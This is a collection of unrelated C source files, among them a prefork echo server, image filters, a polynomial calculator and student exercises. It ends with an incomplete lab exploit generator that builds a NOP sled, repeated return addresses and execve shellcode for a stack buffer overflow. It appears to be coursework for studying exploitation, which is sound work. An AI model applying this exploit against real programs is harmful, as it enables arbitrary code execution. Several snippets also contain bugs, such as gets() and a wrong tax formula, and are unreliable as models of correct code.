usr->query_d_name() + "%^RESET%^: %^TELL_TO%^" + what + "%^RESET%^\n", 1); } else { write(who + " не услышит.\n"); } } }
C
/* program for calculating the price of product after adding the sales tax to it original price */ #include<stdio.h> void main() { float p, tax, tp; printf("Enter the price: "); scanf("%f", &p); printf("Enter the rate of price: "); scanf("%f", &tax); tp = p*tax/100; printf("Price of product = %f", tp); }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* utilsi.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: sserbin <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/03/27 09:34:57 by sserbin #+# #+# */ /* Updated: 2021/03/27 09:34:58 by sserbin ### ########.fr */ /* */ /* ************************************************************************** */ #include "../ft_printf.h" char *ft_strdup_pass_null(char *str, int max) { char *s; int i; i = 0; s = get_malloc(max + 1); while (max-- >= 0) { s[i] = str[i]; i++; } s[i] = '\0'; return (s); } int ft_putstrlen(char *str) { int i; i = -1; while (str[++i]) write(1, &str[i], 1); return (i); } int weird_print(char *str, int max) { int i; i = 0; while (max-- > 1) { if (str[i] == '\0') write(1, "\0", 1); else write(1, &str[i], 1); i++; } return (i); } int ft_read_lst(t_x *res) { t_x *tmp; int count; count = 0; while (res) { tmp = res->next; if (res->special) count = count + weird_print(res->s, res->i); else count = count + ft_putstrlen(res->s); free(res->s); free(res); res = tmp; } return (count); } t_x *ft_lst_add_back(t_x *old, t_res res, t_flag flag) { t_x *new; t_x *tmp; new = malloc(sizeof(t_x)); if (flag.null && flag.letter == 'c' && flag.neg) { new->s = ft_strdup_pass_null(res.str, res.i); } else if (flag.null && flag.letter == 'c' && flag.width == 2) { new->s = ft_strdup_pass_null(res.str, res.i); } else new->s = ft_strdup(res.str); free(res.str); new->i = res.max; new->special = flag.null; new->next = NULL; if (!old) return (new); tmp = old; while (old->next) old = old->next; old->next = new; return (tmp); }
C
#include <unistd.h> #include <signal.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <netinet/in.h> #include <arpa/inet.h> #include <pthread/pthread.h> #include <sys/types.h> #include <sys/select.h> #include <assert.h> #include "util.h" static const int kListenPort = 9527; struct Child { pid_t pid; int pipe_fd; //这里一个子进程一个只能服务一个连接,所以要标识忙闲 //其实借助select/epoll多路复用技术完全可以服务多个连接 int status; }; typedef struct Child Child; static Child *children = NULL; static const int nchild = 5; //派发客户端连接 void diapatch_conn(int connfd) { //找出一个空闲的子进程 int i; for (i = 0; i < nchild; ++i) { if (children[i].status == 0) { break; } } if (i == nchild) { printf("no worker found for conn %d\n", connfd); return; } printf("diapatch connection %d to child %d pid %d\n", connfd, i, children[i].pid); children[i].status = 1; //使用unix域套接字传递套接字(客户端连接connfd) //注意不能直接直接往pipe_fd里写connfd,因为每个进程的fd只是文件描述表的索引 //两个进程的文件描述表一般都不同(父子进程fork的之后相同,但如果父子进程又打开了描述符,则不同) //fd作为描述表的索引,在进程内才有意义,直接在进程间传递没有意义 //关于进程间传递描述符,实际是重新创建了文件描述项,具体可以查看APUE或者UNP的相关章节 //另外,除了父进程往子进程传递描述符让子进程来read,也有的服务器模型是在master父进程中read,然后 //将read到的数据dispatch到子进程进行处理,这样实际的IO完全都在master做,子进程只是处理逻辑 ssize_t retval = write_fd(children[i].pipe_fd, connfd); printf("write to child %d, pipe_fd %d, val %d, retval %zd\n", i, children[i].pipe_fd, connfd, retval); } void handle_listen(int listen_fd) { struct sockaddr_in cli_addr; socklen_t clilen = sizeof(cli_addr); //主进程负责accept新连接,然后交给子进程维护 int connfd = accept(listen_fd, (struct sockaddr *)&cli_addr, &clilen); if (connfd < 0) { if (errno == EINTR) { return; } printf("accept connection error: %d\n", errno); exit(1); } diapatch_conn(connfd); } void handle_child_msg(int idx) { children[idx].status = 0; printf("handle_child_msg: child %d pid %d available\n", idx, children[idx].pid); } void build_fd_set(int listen_fd, fd_set *readfds, int *maxfd) { assert(readfds != NULL && maxfd != NULL); FD_ZERO(readfds); FD_SET(listen_fd, readfds); *maxfd = listen_fd; for (int i = 0; i < nchild; ++i) { if (children[i].status == 0) { continue; } FD_SET(children[i].pipe_fd, readfds); if (*maxfd < children[i].pipe_fd) { *maxfd = children[i].pipe_fd; } } } void make_child_worker(int idx, int listen_fd) { void do_job(int); int fds[2]; //socketpairs创建一对unix域套接字,可以互相通信,且是全双工 //而pipe创建的是单向的 int ret = socketpair(AF_LOCAL, SOCK_STREAM, 0, fds); if (ret < 0) { printf("socketpair err: %d\n", errno); exit(1); } pid_t cid; if ((cid = fork()) > 0) { //parent process close(fds[1]); children[idx].pid = cid; children[idx].pipe_fd = fds[0]; children[idx].status = 0; printf("create child: %d pid %d, pipefd %d\n", idx, cid, fds[0]); return; } //child process dup2(fds[1], STDERR_FILENO); close(listen_fd); close(fds[0]); close(fds[1]); do_job(fds[1]); } int main() { int listen_fd = tcp_safe_listen(kListenPort); children = calloc(nchild, sizeof(Child)); if (children == NULL) { perror("calloc"); exit(1); } for (int i = 0; i < nchild; ++i) { make_child_worker(i, listen_fd); } //子进程fork之后再设置信号处理函数 void handle_int(int); signal(SIGINT, handle_int); fd_set readfds; int maxfd; for ( ; ; ) { build_fd_set(listen_fd, &readfds, &maxfd); int ready = select(maxfd + 1, &readfds, NULL, NULL, NULL); printf("select with %d ready\n", ready); if (ready <= 0) { continue; } int count = 0; if (FD_ISSET(listen_fd, &readfds)) { handle_listen(listen_fd); ++count; if (count >= ready) { continue; } } for (int j = 0; j < nchild; ++j) { if (FD_ISSET(children[j].pipe_fd, &readfds)) { handle_child_msg(j); ++count; if (count >= ready) { break; } } } } return 0; } void handle_int(int sig) { printf("handle_int\n"); //杀死所有子进程 for (int i = 0; i < sizeof(children)/sizeof(children[0]); ++i) { kill(children[i].pid, SIGTERM); } //wait for all children to terminate while (wait(NULL) > 0 ) { ; } output_statistic(); exit(0); } void do_job() { printf("child %d do_job\n", getpid()); for ( ; ; ) { //读取 master 传过来的连接 int connfd = recv_fd(STDERR_FILENO); if (connfd <= 0) { printf("recv_fd error: %d\n", errno); exit(1); } //处理连接 void handle_conn(int); handle_conn(connfd); //告诉 master,我又可以服务其他链接了 int service = 1; int ret = write(STDERR_FILENO, &service, sizeof(service)); printf("child write back: %d\n", ret); } } void handle_conn(int connfd) { printf("children %d handle client %d\n", getpid(), connfd); ssize_t n; static char buff[512]; for( ; ; ) { printf("start reading connection %d\n", connfd); if ((n = read(connfd, buff, sizeof(buff))) == 0) { printf("children %d client %d closed by peer\n", getpid(), connfd); //此时connfd被客户端关闭,处于半连接状态,调用close,完成四次挥手的后两步 close(connfd); //本连接处理完毕,退出 handle_conn,继续服务其他连接 return; } if (n < 0) { printf("read error %d\n", errno); return; } printf("read %zd bytes from connection %d\n", n, connfd); write(connfd, buff, n); } }
C
#include "server.h" #include "utils.h" #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #define USAGE "usage: %s ADDRESS PORT FILE\n" int main (int argc, char **argv) { int fd; in_addr_t addr; in_port_t port; if (argc != 4) { printf(USAGE, argv[0]); exit(EXIT_FAILURE); } addr = inet_addr(argv[1]); if (addr == INADDR_NONE) { printf("%s: invalid address\n", argv[1]); exit(EXIT_FAILURE); } port = (in_port_t)htons(atoi(argv[2])); fd = open(argv[3], O_RDWR); pcheck(fd != -1, argv[3]); server_run(addr, port, fd); exit(EXIT_SUCCESS); }
C
/* 1.3.Basándose en la pregunta anterior, ¿Cómo podría llegar a la referencia del Nodo a desde el Nodo b en una sola instrucción? */ #include <stdio.h> #include <stdlib.h> struct nodo { int valor; struct nodo *next; } typedef *NODO; int main() { NODO a = (NODO *)malloc(sizeof(NODO)); NODO b = (NODO *)malloc(sizeof(NODO)); NODO c = (NODO *)malloc(sizeof(NODO)); NODO d = (NODO *)malloc(sizeof(NODO)); a->valor = 10; b->next = d; d->next = c; c->next = a; a->next = NULL; //Respuesta: //b->next->next->next printf("valor nodo a: %i", b->next->next->next->valor); return 0; }
C
#include "transbank.h" #include "common.c" int main() { char *portName = select_port(); int retval = open_port(portName, bRate); if (retval == TBK_OK) { printf("Serial port successfully opened.\n"); BaseResponse response = close(); if (response.function == 510) { printf("Function: %i\n", response.function); printf("Response Code: %i\n", response.responseCode); printf("Commerce Code: %llu\n", response.commerceCode); printf("Terminal ID: %s\n", response.terminalId); if (response.responseCode == TBK_OK) { printf("Register closed successfully\n=================\n"); } else { printf("Error: Close POS has failed\n=================\n"); } } else { printf("Unable close POS.\n"); } } //Close Port retval = close_port(); if (retval == SP_OK) { printf("Serial port closed.\n"); } else { printf("Unable to close serial port.\n"); } return 0; }
C
#pragma once #include <stdint.h> // All times are in milliseconds. // The current time is measured from initialization. typedef struct Timer { // The time at which the handler will be called. // timer_start adds the current time to this when the timer is first added. // You may change this after the timer is started. unsigned int time; // If zero, this timer will be removed when it triggers. // If nonzero, period will be added to time when it triggers and // the timer will remain active. // // This may be changed by the handler to efficiently remove a recurring // timer in response to some condition. unsigned int period; // This is called when the time specified above is reached. // Be aware that this is called in a high-priority interrupt, so it // must take as little time as possible. Don't forget your volatiles too! void (*handler)(void* arg); void* arg; // Next timer. The list is singly-linked to save RAM. struct Timer* next; } Timer; extern Timer* first_timer; extern volatile unsigned int current_time; void timer_init(void); void timer_start(Timer* t); void timer_stop(Timer* t); void delay_ms(int ms); // Simple timer handlers. // arg must point to a write_int_t void toggle_bits(void* arg); void write_uint(void* arg);
C
#include <errno.h> #include <signal.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #include <math.h> #include <unistd.h> #include <sys/time.h> #include "bmp.c" #define uchar unsigned char #define ushort unsigned short #define ulong unsigned long //--------------------------------------------------------------- typedef struct RgbColor { unsigned char r; unsigned char g; unsigned char b; } RgbColor; //--------------------------------------------------------------- typedef struct HsvColor { unsigned char h; unsigned char s; unsigned char v; } HsvColor; //--------------------------------------------------------------- RgbColor HsvToRgb(HsvColor hsv) { RgbColor rgb; unsigned char region, remainder, p, q, t; if (hsv.s == 0) { rgb.r = hsv.v; rgb.g = hsv.v; rgb.b = hsv.v; return rgb; } region = hsv.h / 43; remainder = (hsv.h - (region * 43)) * 6; p = (hsv.v * (255 - hsv.s)) >> 8; q = (hsv.v * (255 - ((hsv.s * remainder) >> 8))) >> 8; t = (hsv.v * (255 - ((hsv.s * (255 - remainder)) >> 8))) >> 8; switch (region) { case 0: rgb.r = hsv.v; rgb.g = t; rgb.b = p; break; case 1: rgb.r = q; rgb.g = hsv.v; rgb.b = p; break; case 2: rgb.r = p; rgb.g = hsv.v; rgb.b = t; break; case 3: rgb.r = p; rgb.g = q; rgb.b = hsv.v; break; case 4: rgb.r = t; rgb.g = p; rgb.b = hsv.v; break; default: rgb.r = hsv.v; rgb.g = p; rgb.b = q; break; } return rgb; } //--------------------------------------------------------------- HsvColor RgbToHsv(RgbColor rgb) { HsvColor hsv; unsigned char rgbMin, rgbMax; rgbMin = rgb.r < rgb.g ? (rgb.r < rgb.b ? rgb.r : rgb.b) : (rgb.g < rgb.b ? rgb.g : rgb.b); rgbMax = rgb.r > rgb.g ? (rgb.r > rgb.b ? rgb.r : rgb.b) : (rgb.g > rgb.b ? rgb.g : rgb.b); hsv.v = rgbMax; if (hsv.v == 0) { hsv.h = 0; hsv.s = 0; return hsv; } hsv.s = 255 * (long)(rgbMax - rgbMin) / hsv.v; if (hsv.s == 0) { hsv.h = 0; return hsv; } if (rgbMax == rgb.r) hsv.h = 0 + 43 * (rgb.g - rgb.b) / (rgbMax - rgbMin); else if (rgbMax == rgb.g) hsv.h = 85 + 43 * (rgb.b - rgb.r) / (rgbMax - rgbMin); else hsv.h = 171 + 43 * (rgb.r - rgb.g) / (rgbMax - rgbMin); return hsv; } //--------------------------------------------------------------- int read_input_bmp(char *filename, int xsize, int ysize, uchar *buffer) { uchar *temp_buffer; //input is RGB, no alpha. so 24 bits per pixel temp_buffer = (uchar *)malloc(xsize * ysize * 3); FILE *fp_in = fopen(filename, "rb"); if (fp_in == 0) { free((char *)temp_buffer); return -1; } fseek(fp_in, sizeof(struct BMPHeader), SEEK_SET); int cnt = fread(temp_buffer, 3, xsize * ysize, fp_in); fclose(fp_in); //flip vertical int x,y; for (y = 0; y < ysize; y++) { uchar *src_ptr; uchar *dst_ptr; src_ptr = temp_buffer + (y * xsize * 3); dst_ptr = buffer + (((ysize - 1) - y) * xsize * 4); for (x = 0; x < xsize; x++) { uchar r,g,b; r = *src_ptr++; g = *src_ptr++; b = *src_ptr++; *dst_ptr++ = 0xff; //alpha *dst_ptr++ = r; *dst_ptr++ = b; *dst_ptr++ = g; } } free((char *)temp_buffer); return cnt; } //--------------------------------------------------------------- #define X_SIZE 640 #define Y_SIZE 1136 //--------------------------------------------------------------- void init_lookup_table(uchar *lookup, ulong color) { // note that the lookup is done on 10 bits to avoid rounding errors int r, g, b; b = (color & 0xff); g = (color & 0xff00) >> 8; r = (color & 0xff0000) >> 16; RgbColor in_color; in_color.r = r; in_color.g = g; in_color.b = b; HsvColor out = RgbToHsv(in_color); out.s = 180; out.v = 255; in_color = HsvToRgb(out); for (int i = 0; i < 256 * 4; i++) { int brightness = i * (1.0 * 0.25); //reduce the brightness brightness = brightness + 30; //reduce the contrast. if (brightness > 255) brightness = 255; *(lookup + i * 4 + 0) = (brightness * in_color.r)/256; *(lookup + i * 4 + 1) = (brightness * in_color.g)/256; *(lookup + i * 4 + 2) = (brightness * in_color.b)/256; } } //--------------------------------------------------------------- uchar map_alpha(int cur_y, int ysize) { int ydiv3; ydiv3 = ysize / 3; if (cur_y < (ydiv3)) { return 127 + ((cur_y * 128) / ydiv3); } if (cur_y < (ydiv3 * 2)) { return 255; } return 255 - ((cur_y - ydiv3 * 2) * 128) / ydiv3; } //--------------------------------------------------------------- void convert_to_mono_and_adjust(uchar *buffer, uchar *lookup, int xsize, int ysize) { int idx; int x; int y; idx = xsize * ysize; for (y = 0; y < ysize; y++) { uchar alpha; alpha = map_alpha(y, ysize); for ( x = 0; x < xsize; x++) { int r,g,b; //a = *(buffer + 0); //not used r = *(buffer + 1); g = *(buffer + 2); b = *(buffer + 3); //Y=0.2126R+0.7152G+0.0722B.[5] //pretty good aproximation. ushort gray = (r+r+r) + ((g<<3) + g + g + g) + b; //divide by 16, but multiply by 4 given the lookup table //strcture gray = gray >> (4 - 2); // ARGB output *buffer++ = alpha; *buffer++ = lookup[(gray * 4)]; *buffer++ = lookup[(gray * 4) + 1]; *buffer++ = lookup[(gray * 4) + 2]; } } } //--------------------------------------------------------------- int main() { uchar *input_buffer; input_buffer = (uchar *)malloc(X_SIZE * Y_SIZE * 4); int result = read_input_bmp("./pic.bmp", X_SIZE, Y_SIZE, input_buffer); if (result < 0) { printf("input file not found\n"); return -1; } uchar *lookup; lookup = (uchar *)malloc(256 * 4 * 4); init_lookup_table(lookup, 0xa4b6c7); convert_to_mono_and_adjust(input_buffer, lookup, X_SIZE, Y_SIZE); free((char*)lookup); write_bmp("result.bmp", X_SIZE, Y_SIZE, (char*)input_buffer); }
C
/* 有一个分数序列 2/1,3/2,5/3,8/5,13/8 从键盘输入一个数n,输出该序列前n项之和,保留两位小数。 */ #include <stdio.h> int main() { int num, den, i, n, t; double sum=0; scanf("%d", &n); num = 1; den = 1; for (i = 0; i < n;i++) { t = num; num += den; den = t; sum += (float)num / den; } printf("%.2f", sum); return 0; }
C
#include<stdio.h> int main(){ int n,sum=0,temp=4,taxis=0; scanf("%d",&n); int arr[5]={0},taxi[n]; for(int itr=0;itr<n;itr++){ scanf("%d",&taxi[itr]); arr[taxi[itr]]++; } for(int itr=0;itr<arr[3];itr++){ taxis = taxis+1; if(arr[1]>0) arr[1] = arr[1]-1; } for(int itr=0;itr<arr[2];itr++){ taxis = taxis+1; if(arr[2]>0 && arr[1]>0) arr[2] = arr[2]-1,arr[1]=arr[1]-1; else if(arr[2]>0) arr[2] = arr[2]-1; } if(arr[1]>1){ taxis = taxis + arr[1]/4+(arr[1]%4>0?1:0); } taxis += arr[4]; printf("%d",taxis); return 0; }
C
#include <stdio.h> #define li long int int main() { li m; int i,a, b, c, num[10] = { 0 }; char mult[10]; scanf("%d %d %d", &a, &b, &c); m = (li)(a*b*c); sprintf(mult, "%d", m); for (i = 0; i < strlen(mult); i++) num[mult[i]-48]++; for (i = 0; i < 10; i++) printf("%d\n",num[i]); }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #define KEY 123456 int read_int(FILE *, int); void encode_image(unsigned char *B, unsigned char *G, unsigned char *R, int height, int width, char *message); void convert2pixel(int, unsigned char *); int read_image(FILE *fpin, unsigned char *B, unsigned char *G, unsigned char *R, int height, int width, int padding); void write_image(FILE *fpin, unsigned char *B, unsigned char *G, unsigned char *R, int height, int width, int padding, FILE *fpout, int offset); int main(int argc, char *argv[]) { char ifile[80] = "rainbow2.bmp"; char ofile[80] = "rainbow_out.bmp"; if (argc >= 3) { strcpy(ifile, argv[1]); strcpy(ofile, argv[2]); } else if (argc == 2) { strcpy(ifile, argv[1]); } FILE *fpin, *fpout; fpin = fopen(ifile, "rb"); fpout = fopen(ofile, "wb"); int filesize, offset, height, width; int padding = 0; filesize = read_int(fpin, 2); offset = read_int(fpin, 10); width = read_int(fpin, 18); height = read_int(fpin, 22); // read in image into RGB fseek(fpin, offset, SEEK_SET); // calculate padding to force each row to be a multiple of 4 if ( (3*width) % 4 != 0) { padding = (3*width) % 4; padding = 4 - padding; } unsigned char *B, *G, *R; // Allocate memory B = (unsigned char *) malloc(width*height); G = (unsigned char *) malloc(width*height); R = (unsigned char *) malloc(width*height); read_image(fpin, B, G, R, height, width, padding); // Encode image char message[500] = "The covid19 pandemic sucks!"; encode_image(B, G, R, height, width, message); // write out RGB write_image(fpin, B, G, R, height, width, padding, fpout, offset); fclose(fpin); fclose(fpout); return 0; } // main
C
// // Created by Nylan on 08-05-2021. // #ifndef YUKON_GAMEVIEWINTERNALFUNCTIONS_H #define YUKON_GAMEVIEWINTERNALFUNCTIONS_H /** * Writes the column headers for a specified number of * columns to the specified string * @param numColumns the number of columns * @param str the string to which the column headers should * be written * @return an unsigned long long containing the number of * characters written to the string excluding the * terminating null character * @author Rasmus Nylander, s205418 */ unsigned long long writeColumnHeaders(int numColumns, char *str); /** * Creates a string containing column headers for the * specified number of columns * @param numColumns the number of columns to create * headers for * @return a string containing the column headers for the * specified number of columns * @author Rasmus Nylander, s205418 */ char* getHeaderText(int numColumns); /** * Writes the specified Deck arrays as columns to the specified string * @param columns the columns of a game to be written to the string * @param numColumns the number of elements in the columns array * @param finishedDecks the finished decks of the game * @param numFinishedDecks the number of elements in the finished decks array * @param str the string to write the columns to * @return an unsigned long long representing the number of characters * written to the string, excluding the ending null character * @author Rasmus Nylander, s205418 */ unsigned long long writeColumns(Deck *columns, int numColumns, Deck *finishedDecks, int numFinishedDecks, char* str); /** * Returns the size of the biggest deck in the specified * array of decks * @param columns the array in which the size the size * of the biggest deck should be determined * @param numColumns the number of elements in the array * @return the size of the biggest Deck in the specified * array * @author Rasmus Nylander, s205418 */ int getTallestColumnHeight(Deck *columns, int numColumns); /** * Writes the specified row of the specified columns to the specified * string * @param row the number of the row to write where 0 is the first row * @param columns a Deck array containing the columns to write * @param numColumns the number of elements in the array * @param str the string to write the row to * @return an unsigned long long representing the number of characters * written to the string, excluding the ending null character * @author Rasmus Nylander, s205418 */ unsigned long long writeRow(int row, Deck *columns, int numColumns, char *str); /** * Returns a new string containing the row text for the specified * row of the specified columns * @param row the row which to create the text for * @param columns the columns which of the table which the row * text is desired * @param numColumns the number of elements in the column array * @return a new string containing the row text for the specified * row of the specified columns */ char* getRowText(int row, Deck *columns, int numColumns); /** * Returns the display text for the specified card * @param card the card to generate the display text for * @return a new string containing the display text for * the specified card * @author Rasmus Nylander, s205418 */ char *getCardText(PlayingCard card); /** * Writes the specified finished deck to the specified string * @param finished the deck to write to the string * @param str the string to write the deck to * @param number the number to write next to the deck * @return the number of characters written, excluding the terminating * null character */ unsigned long long writeFinishedDeck(Deck finished, char *str, int number); /** * Returns a string representation of the top card in the specified deck * if it is not empty, otherwise returns a string containing the hiddenCardText * @param deck the deck to return the top card if * @return a string representation of the top card in the specified deck * if it is not empty, otherwise returns a string containing the * hiddenCardText */ char* getFinishedDeckText(Deck deck); #endif //YUKON_GAMEVIEWINTERNALFUNCTIONS_H
C
#include <stdio.h> #include <stdlib.h> int calcstatus = 1; int poldegree[2][6]; int orderarray[6]; char firstnchar[20]; void copystring(char * source, char * destination); void shiftbuffer(char * sbuffer, int count); int isequal(char * stringone, char * stringtwo); void clearstring(char * clearbuffer); char * firstncharacters(char * stringsource, int ncharacters); int specialcharindex(char * stringbuffer, char specialchar); int getdegreevalue(char character); void parseCommand(char * commandphrase); int parseterms(char * buffer); void calculatedegrees(char * polynom, int arrayselection); int checkorder(int * array); void addpolinoms(); void derpolinom(); void mulpolinoms(); void clearbuffers(); void writeresult(int * array, int count); int main() { char command[3]; char firstpol[50]; char secondpol[50]; char readline[100]; while(calcstatus) { printf("\n>> "); gets(readline); sscanf(readline, "%s %s %s", command, firstpol, secondpol); fflush(stdin); if(isequal(command, "QUIT")) calcstatus = 0; if(calcstatus) { clearbuffers(); calculatedegrees(firstpol, 0); calculatedegrees(secondpol, 1); parseCommand(command); } } return 0; } void parseCommand(char * commandphrase) { if(isequal(commandphrase, "ADD")) addpolinoms(); else if(isequal(commandphrase, "SUB")) //for sub operation, multiply second pol with -1 then addpolinoms { int k; for(k = 0; k < 6; k++) { poldegree[1][k] = -1 * poldegree[1][k]; } addpolinoms(); } else if(isequal(commandphrase, "DER")) derpolinom(); else if(isequal(commandphrase, "MUL")) mulpolinoms(); } void addpolinoms() { int tempmultiple[6]; int looper; for(looper = 4; looper >= 0; looper--) { tempmultiple[looper] = 0; } int total = 0; for(looper = 5; looper >= 0; looper--) { tempmultiple[looper] = poldegree[0][looper] + poldegree[1][looper]; if(tempmultiple[looper] == 0) { total++; } } writeresult(tempmultiple, 5); } void mulpolinoms() { int tempmultiple[11]; int firstcursor; int secondcursor; //int total = 0; for(firstcursor = 10; firstcursor >= 0; firstcursor--) { tempmultiple[firstcursor] = 0; } for(firstcursor = 5; firstcursor >= 0; firstcursor--) { for(secondcursor = 5; secondcursor >= 0; secondcursor--) { if(poldegree[0][firstcursor] != 0) { if(poldegree[1][secondcursor] != 0) { tempmultiple[firstcursor + secondcursor] += poldegree[0][firstcursor] * poldegree[1][secondcursor]; } } } } writeresult(tempmultiple, 10); } void derpolinom() { int tempmultiple[5]; int looper; for(looper = 4; looper >= 0; looper--) { tempmultiple[looper] = 0; } for(looper = 5; looper >= 1; looper--) { tempmultiple[looper -1] = looper * poldegree[0][looper]; } writeresult(tempmultiple, 4); } int stringlength(char * string) { int length = 0; while(string[length] != '\0') { length++; } return length; } void calculatedegrees(char * polynom, int arrayselection) { int charloop = 1; int counterm = 0; int location = -2; char tempbuffer[stringlength(polynom)]; int xyz; for(xyz = 0; xyz < 6; xyz++) { orderarray[xyz] = -1; } while(charloop != -3) { charloop = parseterms(polynom); if(charloop == -3) //end of pol { clearstring(tempbuffer); copystring(polynom, tempbuffer); } else { clearstring(tempbuffer); copystring(firstncharacters(polynom, charloop), tempbuffer); shiftbuffer(polynom, charloop); } location = specialcharindex(tempbuffer, 'X'); if(location == 0) { if(tempbuffer[location + 1] == '^') { poldegree[arrayselection][getdegreevalue(tempbuffer[location + 2])] = 1; orderarray[getdegreevalue(tempbuffer[location + 2])] = counterm; } else { poldegree[arrayselection][1] = 1; orderarray[1] = counterm; } } else if(location == 1) { if(tempbuffer[location + 1] == '^') { if(tempbuffer[location - 1] == '-') { poldegree[arrayselection][getdegreevalue(tempbuffer[location + 2])] = -1; orderarray[getdegreevalue(tempbuffer[location + 2])] = counterm; } else { poldegree[arrayselection][getdegreevalue(tempbuffer[location + 2])] = atoi(firstncharacters(tempbuffer, location)); orderarray[getdegreevalue(tempbuffer[location + 2])] = counterm; } } if(tempbuffer[location + 1] != '^') { if( tempbuffer[location - 1] == '-') { poldegree[arrayselection][1] = -1; orderarray[1] = counterm; } else { poldegree[arrayselection][1] = atoi(firstncharacters(tempbuffer, location)); orderarray[1] = counterm; } } } else if(location > 1) //there is a mult { if(tempbuffer[location + 1] == '^') { poldegree[arrayselection][getdegreevalue(tempbuffer[location + 2])] = atoi(firstncharacters(tempbuffer, location)); orderarray[getdegreevalue(tempbuffer[location + 2])] = counterm; } else { poldegree[arrayselection][1] = atoi(firstncharacters(tempbuffer, location)); orderarray[1] = counterm; } } else if(location == -1) { poldegree[arrayselection][0] = atoi(tempbuffer); orderarray[0] = counterm; } counterm++; } if(checkorder(orderarray) == 0) { printf("\nUNORDERED INPUT FOR %d.POLYNOM!\n", arrayselection + 1); } } int checkorder(int * array) { int index = 0; int loop = 0; int ordered = 1; int temparray[6]; for(index = 0; index < 6; index++) { if(array[index] != -1) { temparray[loop++] = array[index]; } } index = 0; while(index < loop -1 ) { if(temparray[index] < temparray[index +1]) { ordered = 0; break; } index++; } return ordered; } void copystring(char * source, char * destination) { int copycursor = 0; while(copycursor < stringlength(source)) { destination[copycursor] = source[copycursor]; copycursor++; } } void clearstring(char * clearbuffer) { int clearcursor = 0; while(clearcursor < stringlength(clearbuffer)) { clearbuffer[clearcursor] = ' '; clearcursor++; } } int parseterms(char * buffer) { int indexvalue = 0; int xcursor; int found = 0; for(xcursor = 1; xcursor <= stringlength(buffer); xcursor++) { if(buffer[xcursor] == '+') { found = 1; indexvalue = xcursor + 1; //ignore + signed before the number break; } if(buffer[xcursor] == '-') { found = 1; indexvalue = xcursor; break; } if(buffer[xcursor] == '\0') { found = 1; indexvalue = -3; break; } } if(found == 1) { return indexvalue; } else { return 0; } } void shiftbuffer(char * sbuffer, int count) { char tempbuffer[stringlength(sbuffer)]; clearstring(tempbuffer); int loopcur = 0; while(loopcur < (stringlength(sbuffer) - count)) { tempbuffer[loopcur] = sbuffer[loopcur + count]; loopcur++; } clearstring(sbuffer); copystring(tempbuffer, sbuffer); } int isequal(char * stringone, char * stringtwo) { if(stringlength(stringone) == 0 || stringlength(stringtwo) == 0 || stringlength(stringone) != stringlength(stringtwo)) return 0; int compareloop = 0; while(compareloop < stringlength(stringone)) { if(stringone[compareloop] != stringtwo[compareloop]) break; compareloop++; } if(compareloop == stringlength(stringone)) return 1; else return 0; } char * firstncharacters(char * stringsource, int ncharacters) { clearstring(firstnchar); int nloop = 0; if(stringlength(stringsource) >= ncharacters) { while(nloop < ncharacters) { firstnchar[nloop] = stringsource[nloop]; nloop++; } } return firstnchar; } int specialcharindex(char * stringbuffer, char specialchar) { int index = -1; int xcursor = 0; for(xcursor = 0; xcursor < stringlength(stringbuffer); xcursor++) { if(stringbuffer[xcursor] == specialchar) { index = xcursor; //ignore + signed before the number break; } } return index; } int getdegreevalue(char character) { int result = 0; result = character - 48; //48 equals char '0' return result; } void clearbuffers() { int k, l; for(k = 0; k < 2; k++) for(l = 0; l < 6; l++) poldegree[k][l] = 0; } void writeresult(int * array, int count) { int looper; int firstcharacter = 1; int total = 0; printf("\nResult is : "); for(looper = count; looper > 1; looper--) { if(array[looper] != 0) { if(firstcharacter) { if(array[looper] == -1) { printf("-X^%d", looper); } else if(array[looper] == 1) { printf("X^%d", looper); } else { printf("%dX^%d", array[looper], looper); } firstcharacter = 0; } else { if(array[looper] == 1) printf("+X^%d", looper); else if(array[looper] == -1) printf("-X^%d", looper); else if(array[looper] > 0) printf("+%dX^%d", array[looper], looper); else printf("%dX^%d", array[looper], looper); } } else { total++; } } if(array[1] != 0) { if(array[1] == 1) { if(firstcharacter == 1) printf("X"); else printf("+X"); } else if(array[1] == -1) printf("-X"); if(array[1] > 1) { if(firstcharacter == 1) printf("%dX", array[1]); else printf("+%dX", array[1]); } else if(array[1] < -1) { printf("%dX", array[1]); } } else { total++; } if(array[0] != 0) { if(array[0] > 0) { if(firstcharacter == 1) printf("%d", array[0]); else printf("+%d", array[0]); } else { printf("%d", array[0]); } } else { total++; } if(total == count + 1) { printf("0"); } printf("\n"); }
C
/* Laura Benito Martin 100284695 Rafael León Miranda 100275593 */ #include <string.h> #include <stdio.h> #include <stdlib.h> //Proof and error to know the offsetChosen of the "jump" #define CHOSEN_OFFSET 300 unsigned char code[] = /* TO DO-- binary code of the exploit previously created ---*/ "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\x68\x6e\x2f\x6c\x73" /* push $0x736c2f6e */ "\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x89\xe2" /* mov %esp,%edx */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp,%ecx */ "\x51" /* push %ecx */ "\x52" /* push %edx */ "\xb0\x0b" /* mov $0xb,%al */ "\xcd\x80" /* int $0x80 */ ; //The program locates itself. It gets ESP address unsigned long jumpBegins(void){ __asm__("movl %esp,%eax"); } void main(int argc, char **argv){ char buffer[517]; FILE *attackfile; char *ptr; long *a_ptr; long address; int offsetChosen = CHOSEN_OFFSET; /* TO DO--Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); //--------BEGIN FILL BUFFER address = jumpBegins()+offsetChosen; //Store the buffer value (beginning of the place where the vulnerable program input is stored) ptr = buffer; a_ptr = (long *) ptr; int i; // We copy the address that we think is of the shellcode for (i = 0; i < 300;i+=4){ *(a_ptr++) = address; } /* TO DO--Copy the shellcode in the address that we assume is the right one The code is located almost at the end of the buffer*/ for (i = 450; i < sizeof(code) + 450; i++) buffer[i] = code[i-450]; //end of the string buffer[sizeof(buffer) - 1] = '\0'; //--------END FILL BUFFER /* TO DO-- Save the contents to the file "fileToRead" which contains the attack*/ attackfile = fopen("./fileToRead", "w"); 